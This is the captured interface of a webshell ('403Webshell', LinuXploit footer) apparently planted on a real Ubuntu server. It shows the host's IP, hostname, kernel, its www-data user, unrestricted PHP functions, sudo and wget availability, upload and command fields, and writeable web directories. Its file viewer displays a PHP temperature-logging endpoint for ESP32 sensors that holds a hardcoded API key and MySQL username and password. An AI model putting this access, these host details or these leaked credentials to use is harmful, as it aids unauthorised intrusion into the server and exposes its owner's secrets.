403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/tempcontrol/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/tempcontrol//temperature_handler.php
<?php
// temperature_handler.php - GET verzija

error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('log_errors', 1);
ini_set('error_log', '/tmp/temperature_get.log');

// Logovanje
file_put_contents('/tmp/debug_get.log', "=== GET REQUEST STARTED ===\n", FILE_APPEND);
file_put_contents('/tmp/debug_get.log', "Time: " . date('Y-m-d H:i:s') . "\n", FILE_APPEND);
file_put_contents('/tmp/debug_get.log', "GET data: " . print_r($_GET, true) . "\n", FILE_APPEND);

header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');

// Provera API ključa
$apiKey = $_GET['api_key'] ?? '';
if ($apiKey !== 'esp32-secure-key-2024') {
    echo json_encode(['status' => 'error', 'message' => 'Invalid API key']);
    exit;
}

// Provera obaveznih parametara
if (!isset($_GET['temperature']) || !isset($_GET['sensor_id'])) {
    echo json_encode(['status' => 'error', 'message' => 'Missing temperature or sensor_id']);
    exit;
}

// Ekstrakcija podataka
	$sensorId = trim($_GET['sensor_id']);
	$temperature = floatval($_GET['temperature']);
	$humidity = isset($_GET['humidity']) ? floatval($_GET['humidity']) : null;
	$pressure = isset($_GET['pressure']) ? floatval($_GET['pressure']) : null;

// Dozvoljeni senzori
	$allowedSensors = ['esp32-bme280-01', 'esp32-bme280-02'];
	if (!in_array($sensorId, $allowedSensors)) {
    		echo json_encode(['status' => 'error', 'message' => 'Unauthorized sensor']);
    	exit;
}

// Logika za grejanje (pojednostavljena)
	$heatingCommand = ($temperature < 28) ? 'on' : 'off';

// Upis u bazu (koristite isti kod iz druge aplikacije)
	try {
    		$pdo = new PDO('mysql:host=localhost;dbname=temperature_db', 'temperature_user', 'secure_password_123');
    		$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    		$stmt = $pdo->prepare("INSERT INTO temperature_logs (sensor_id, temperature, humidity, pressure, heating_command) VALUES (?, ?, ?, ?, ?)");
    		$stmt->execute([$sensorId, $temperature, $humidity, $pressure, $heatingCommand]);

    		$insertId = $pdo->lastInsertId();

    file_put_contents('/tmp/debug_get.log', "Database insert successful! ID: $insertId\n", FILE_APPEND);

    	$response = [
        	'status' 		=> 'success',
        	'sensor_id' 		=> $sensorId,
        	'temperature' 		=> $temperature,
        	'heating_command' 	=> $heatingCommand,
        	'message' 		=> $heatingCommand === 'on' ? 'Grejanje UKLJUČENO' : 'Grejanje ISKLJUČENO',
        	'insert_id' 		=> $insertId
    	];

    	echo json_encode($response);

} 	catch (PDOException $e) {
    file_put_contents('/tmp/debug_get.log', "Database error: " . $e->getMessage() . "\n", FILE_APPEND);

    // Fallback: snimi u log fajl ako baza ne radi
    	$logEntry = date('Y-m-d H:i:s') . " - Sensor: $sensorId, Temp: $temperature, Cmd: $heatingCommand\n";
    file_put_contents('/var/www/html/projects/tempcontrol/temperature_get.log', $logEntry, FILE_APPEND);

    	echo json_encode([
        	'status' => 'success', 
        	'heating_command' => $heatingCommand,
        	'message' => 'Data logged (fallback to file)',
       	 	'database' => 'bypassed'
    	]);
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit